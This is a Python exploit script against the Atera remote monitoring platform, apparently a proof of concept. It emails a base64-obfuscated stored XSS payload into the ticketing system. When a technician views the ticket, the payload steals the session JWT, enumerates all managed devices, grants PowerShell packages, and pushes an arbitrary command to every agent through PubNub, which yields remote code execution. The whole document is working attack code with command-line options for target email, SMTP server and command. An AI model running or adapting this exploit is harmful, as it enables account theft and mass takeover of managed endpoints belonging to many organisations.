Atera

import smtplib
from base64 import b64encode
import argparse

class exploit:
    def __init__(self, dstemail, frmemail, smtpsrv, command):
        self.smtpsrv = smtpsrv
        self.command = command
        self.dstemail = dstemail
        self.frmemail = frmemail

    def run(self):

        payload = self.prepXssEventPayload()
        try:
            msg  = """From: {frmemail}
To: {dstemail}
Subject: Attention1!
Content-type: text/html

<script>eval(atob("{payload}"));</script>
\r\n\r\n""".format(dstemail=self.dstemail,frmemail=self.frmemail, payload=payload)
            # print (msg)
            server = smtplib.SMTP(self.smtpsrv)
            server.sendmail(self.frmemail, self.dstemail, msg)
            server.quit()
            print ("Payload dropped, now wait for a user to access the ticket.")
        except Exception as e:
            print (e)

       
    def prepXssEventPayload(self):
        xsspayload = """function getJWT() {{
    return new Promise( resolve => {{
        
        var iframe = document.createElement('iframe');
        iframe.style.display = "none";
        iframe.src = "/auth0.html";
        document.body.appendChild(iframe);
        console.log("injected iframe")
        
        
        setTimeout(() => {{  resolve(localStorage.getItem("X-Atera-JWT")) }}, 10000);
        }}
    )
}}



function request(m, url, token) {{
  return new Promise(function (resolve, reject) {{
    const xhr = new XMLHttpRequest();
    xhr.timeout = 2000;
    xhr.onreadystatechange = function(e) {{
      if (xhr.readyState === 4) {{
        if (xhr.status === 200) {{
          resolve(xhr.response)
        }} else {{
          reject(xhr.status)
        }}
      }}
    }}
    xhr.ontimeout = function () {{
      reject('timeout')
    }}

    xhr.open(m, url, true)
    xhr.responseType = 'json';
    xhr.setRequestHeader('Authorization', "Bearer " + token);
    xhr.send();
  }})
}}

async function FetchToken() {{
    var token = await getJWT(); 
    console.log("Got token: " + token);
    

agentGuid = '/breeze/GenericTicketing/Lookups/DevicesView_Advanced?$inlinecount=allpages&$orderby=AlertsPaused%20desc,%20TopSeverity%20desc,AlertsCount%20desc&CustomFieldsFilters=%7B%22All%22:%5B%5D,%22Any%22:%5B%5D%7D&AdvancedFilters=%7B%22All%22:%5B%5D,%22Any%22:%5B%5D%7D&DeviceType=-1&$top=2000000';
const userRequest = request("GET",agentGuid, token)
userRequest
//   .then(getJWT)
  .then(getAgents)
  .then(getKeys)
  .then(rce)
  .catch(handleErrors)
  
function getAgents(agents) {{
    console.log("Fetching agents")
    //console.log(agents)
    return Promise.all(agents.Results.map(function(_Agents) {{
      for (var key in _Agents){{
        console.log(_Agents.DeviceGuid)
        DeviceGuid = _Agents.DeviceGuid
        console.log("DeviceGuid: " + DeviceGuid)
        url = '/interactivepackages/grant?interactivePackageName=Powershell&agentGuid='+DeviceGuid;
        a = request("POST", url,token)
        console.log(a)
        return a
      }}
        
    }}))
}}

function getKeys(agentKeys) {{
  return Promise.all(agentKeys.map(function(_Keys) {{
      Channel = _Keys.Channel
      PubKey = _Keys.PubKey
      SubKey = _Keys.SubKey
      console.log("Keys: " + Channel, PubKey, SubKey, DeviceGuid)
      url = '/package/requestguid?agentGuid='+DeviceGuid+'&packageName=AgentPackageRunCommandInteractive&packgeCommand='+Channel+'%201%20123456789012';
      request("POST", url, token)
      return Channel, PubKey, SubKey, DeviceGuid
  }})) 
}}

function rce(_Keys) {{
  return Promise.all(_Keys.map(function(key) {{
      console.log(key)
      rce="{command}"
      command = "{{\\"MessageType\\":0,\\"CommandText\\":\\""+rce+"\\"}}";
      console.log("Executing: " + rce)
      url = 'https://p2.pndsn.com/publish/'+PubKey+'/'+SubKey+'/0/'+Channel+'/0/'+command;
      setTimeout(() => {{  request("GET", url,token) }}, 2000);
      
      console.log("Finished")
       return "Finished"
  }})) 
}}

function handleErrors(error) {{
  console.error('Something went wrong ', error)
}}
}}
FetchToken();""".format(command=self.command)

        payload_bytes = xsspayload.encode('ascii')
        base64_bytes = b64encode(payload_bytes)
        base64_payload = base64_bytes.decode("utf-8")
        payload = base64_payload
        return payload


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='ZeroClick XSS to RCE in Atera agents')
    parser.add_argument('--dstemail', '-d',
                    required=True,
                    help='Destination email')
    parser.add_argument('--frmemail', '-f',
                    required=True,
                    help='From email')
    parser.add_argument('--smtpsrv', '-s',
                    required=True,
                    help='SMTP server')
    parser.add_argument('--command', '-c',
                    default="whoami > c:/wbsec.txt",
                    help='command to execute')
   

    args = parser.parse_args()
    dstemail = args.dstemail
    frmemail = args.frmemail
    smtpsrv = args.smtpsrv
    command = args.command
  

    x = exploit(dstemail,frmemail,smtpsrv,command)
    x.run()